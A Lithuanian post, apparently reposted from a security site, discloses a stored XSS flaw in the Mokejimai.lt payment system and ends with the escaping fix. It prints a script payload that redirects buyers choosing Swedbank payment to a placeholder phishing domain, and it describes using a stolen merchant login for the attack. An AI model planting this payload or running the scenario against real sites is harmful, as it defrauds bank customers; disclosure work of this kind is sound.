Mokejimai.lt reiktu pasirūpinti savo programuotojais!

Cituodamas vieno naujienų puslapio pranešimą, iškart pasakysiu, kaip žinia daug žmonių naudojasi mokėjimai.lt sistemą, ir ne kartą yra šnekėtą, kad tą sistemą nėra saugi, nors mokėjimai.lt atstovai dažnai ginčijasi dėl to.

Va Jums, prašom:

Nieko neturiu prieš šią mokėjimų sistemą, tačiau pastovus jos teigimas, kad ji yra visisiškai saugi privertė mane paneigti šį jų teiginį.

 

Visą šitą reikalą aptikau visai atsitiktinai paprastas XSS pažeidžiamumas, tačiau nekvailai jį panaudojus būtų galima pridaryti labai daug žalos.

 

Kad sėkmingai įvykditume šį pažeidžiamumą mums žinoma reiktu gauti kokio nors tai uzerio prisijungimo duomenis, todėl aš šiam pavyzdžiui naudosiu savo uzerį.

 

Tarkim turime tokią situaciją hakeris gavo kokios stambios avia kompanijos mokejimai.lt prisijungimą, na žinant mokejimai.lt prisijungimo paprastumą keylogerio pagalba tuos duomenis galima gauti gan lengvai.

 

Hakeris prisijungia į mokejimai.lt į adreso laukelį įveda:

 

Kodas:

 

<script>window.location = "http://scam.hansa.scampuslapis.lt/"</script>

 

 

http://img841.imageshack.us/img841/2201/mok1.png

 

Na ir ką visi žmonės kurie dabar norės pirkti bilietus iš tos avia kompanijos ir norės sumoketi per SwedBanką paspaude ant:

 

http://img696.imageshack.us/img696/4310/mok2.png

 

Bus automatiškai nukreipti į h**p://scam.hansa.scampuslapis.lt na čia URL tik kaip pvz čia tarkim būtų swedbanko scam puslapis ir žmonės(pirkėjai) pilnu hodu pasimautu ant to nes būtų nukreipti iš mokėjimai.lt puslapio.

 

Demo jei norit pamatyt užsiregistruokit forume ir pabandykit VIP nusipirkt apmokėdami Swedbanku.

 

Viską atradau visiškai atsitiktinai norėdamas pakeisti savo adresą įvedžiau HTML elementų na o poto patys suprantate kas nutiko :)

 

Klaidos ištaisymas:

 

Kodas:

 

htmlspecialchars($inputas, ENT_QUOTES);

 

Šaltinis: http://www.cyberlords.lt/technologijos-ir/13889-mokejimai-lt-reiktu-pasirupinti-savo-programuotojais.html